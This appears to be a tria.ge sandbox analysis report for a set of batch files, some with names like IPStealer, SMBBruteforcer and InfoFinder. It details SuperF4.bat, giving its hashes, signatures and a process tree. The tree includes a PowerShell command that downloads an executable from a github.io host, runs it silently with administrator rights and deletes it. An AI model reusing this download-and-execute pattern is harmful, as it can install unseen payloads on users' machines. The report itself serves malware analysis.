Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
3Files/Apps/7z.bat
windows7-x64
10Files/Apps...F4.bat
windows7-x64
8Files/Apps/bts.bat
windows7-x64
3Files/Apps/chrome.bat
windows7-x64
8Files/Apps/ctt.bat
windows7-x64
3Files/Apps...ch.bat
windows7-x64
6Files/Apps...ox.bat
windows7-x64
1Files/Apps/flux.bat
windows7-x64
3Files/Apps/geek.bat
windows7-x64
10Files/Apps/git.bat
windows7-x64
8Files/Apps/logo.bat
windows7-x64
3Files/Apps/pcm.bat
windows7-x64
8Files/Apps/ps7.bat
windows7-x64
10Files/Apps/pswin7.bat
windows7-x64
10Files/Apps/winget.bat
windows7-x64
3Files/Apps...ys.bat
windows7-x64
3Files/Back...ry.bat
windows7-x64
1Files/Comm...me.bat
windows7-x64
1Files/Comp...ps.bat
windows7-x64
1Files/Comp...up.bat
windows7-x64
1Files/GPEE.bat
windows7-x64
1Files/IPGe...or.exe
windows7-x64
3Files/IPStealer.bat
windows7-x64
1Files/Impo...ps.bat
windows7-x64
1Files/InfoFinder.bat
windows7-x64
1Files/Malw...et.bat
windows7-x64
1Files/Newt...on.dll
windows7-x64
1Files/Pass...or.bat
windows7-x64
1Files/RAUP.bat
windows7-x64
1Files/SMBB...er.bat
windows7-x64
1Files/SSAMBYO.bat
windows7-x64
8Files/Schn...s).bat
windows7-x64
1Analysis
-
max time kernel
122s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
08/09/2024, 12:02
Static task
static1
Behavioral task
behavioral1
Sample
Files/Apps/7z.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Files/Apps/SuperF4.bat
Resource
win7-20240903-en
Behavioral task
behavioral3
Sample
Files/Apps/bts.bat
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
Files/Apps/chrome.bat
Resource
win7-20240704-en
Behavioral task
behavioral5
Sample
Files/Apps/ctt.bat
Resource
win7-20240729-en
Behavioral task
behavioral6
Sample
Files/Apps/fastfetch.bat
Resource
win7-20240903-en
Behavioral task
behavioral7
Sample
Files/Apps/firefox.bat
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
Files/Apps/flux.bat
Resource
win7-20240903-en
Behavioral task
behavioral9
Sample
Files/Apps/geek.bat
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
Files/Apps/git.bat
Resource
win7-20240708-en
Behavioral task
behavioral11
Sample
Files/Apps/logo.bat
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
Files/Apps/pcm.bat
Resource
win7-20240903-en
Behavioral task
behavioral13
Sample
Files/Apps/ps7.bat
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
Files/Apps/pswin7.bat
Resource
win7-20240708-en
Behavioral task
behavioral15
Sample
Files/Apps/winget.bat
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
Files/Apps/wintoys.bat
Resource
win7-20240704-en
Behavioral task
behavioral17
Sample
Files/BackupRegistry.bat
Resource
win7-20240708-en
Behavioral task
behavioral18
Sample
Files/CommandLineGame.bat
Resource
win7-20240903-en
Behavioral task
behavioral19
Sample
Files/Components/Import Backups.bat
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
Files/Components/Registry Backup.bat
Resource
win7-20240729-en
Behavioral task
behavioral21
Sample
Files/GPEE.bat
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
Files/IPGeolocator.exe
Resource
win7-20240903-en
Behavioral task
behavioral23
Sample
Files/IPStealer.bat
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
Files/ImportBackups.bat
Resource
win7-20240903-en
Behavioral task
behavioral25
Sample
Files/InfoFinder.bat
Resource
win7-20240903-en
Behavioral task
behavioral26
Sample
Files/Malwarebytes-Premium-Reset.bat
Resource
win7-20240708-en
Behavioral task
behavioral27
Sample
Files/Newtonsoft.Json.dll
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
Files/PasswordGenerator.bat
Resource
win7-20240903-en
Behavioral task
behavioral29
Sample
Files/RAUP.bat
Resource
win7-20240903-en
Behavioral task
behavioral30
Sample
Files/SMBBruteforcer.bat
Resource
win7-20240708-en
Behavioral task
behavioral31
Sample
Files/SSAMBYO.bat
Resource
win7-20240903-en
Behavioral task
behavioral32
Sample
Files/Schnuker/Files/Run Me (Instructions).bat
Resource
win7-20240903-en
General
-
Target
Files/Apps/SuperF4.bat
-
Size
534B
-
MD5
561400dc8a63d4b4cc87cabac9e8422a
-
SHA1
69502ed43cf6e495c060fac70a5ef37f4f15ca53
-
SHA256
767bccd41110d92c69bba5aaceea296f7e0b61fd1f9e09a3fa1ed08e8a8b8282
-
SHA512
8c3efaedb0c9d7bc9de04dbe0d9c2b7a33b2b40a2f0836e719aabdf6197d2c4cdeece3b5eb0276f3484236dc99b797d63324ababa5dd1d4220af693910f12046
Malware Config
Signatures
-
pid Process 2972 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2972 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2972 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2688 wrote to memory of 2836 2688 cmd.exe 32 PID 2688 wrote to memory of 2836 2688 cmd.exe 32 PID 2688 wrote to memory of 2836 2688 cmd.exe 32 PID 2836 wrote to memory of 2844 2836 cmd.exe 33 PID 2836 wrote to memory of 2844 2836 cmd.exe 33 PID 2836 wrote to memory of 2844 2836 cmd.exe 33 PID 2688 wrote to memory of 2860 2688 cmd.exe 34 PID 2688 wrote to memory of 2860 2688 cmd.exe 34 PID 2688 wrote to memory of 2860 2688 cmd.exe 34 PID 2688 wrote to memory of 2872 2688 cmd.exe 35 PID 2688 wrote to memory of 2872 2688 cmd.exe 35 PID 2688 wrote to memory of 2872 2688 cmd.exe 35 PID 2688 wrote to memory of 2972 2688 cmd.exe 36 PID 2688 wrote to memory of 2972 2688 cmd.exe 36 PID 2688 wrote to memory of 2972 2688 cmd.exe 36
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\SuperF4.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chcp2⤵
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\system32\chcp.comchcp3⤵PID:2844
-
-
-
C:\Windows\system32\chcp.comchcp 650012⤵PID:2860
-
-
C:\Windows\system32\chcp.comchcp 4372⤵PID:2872
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& { $Path = $env:TEMP; $Installer = 'SuperF4.exe'; Invoke-WebRequest 'https://schooicodes.github.io/file_hosting/SuperF4.exe' -OutFile $Path\$Installer; Start-Process -FilePath $Path\$Installer -ArgumentList '/silent', '/install' -Verb RunAs -Wait; Remove-Item $Path\$Installer }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2972
-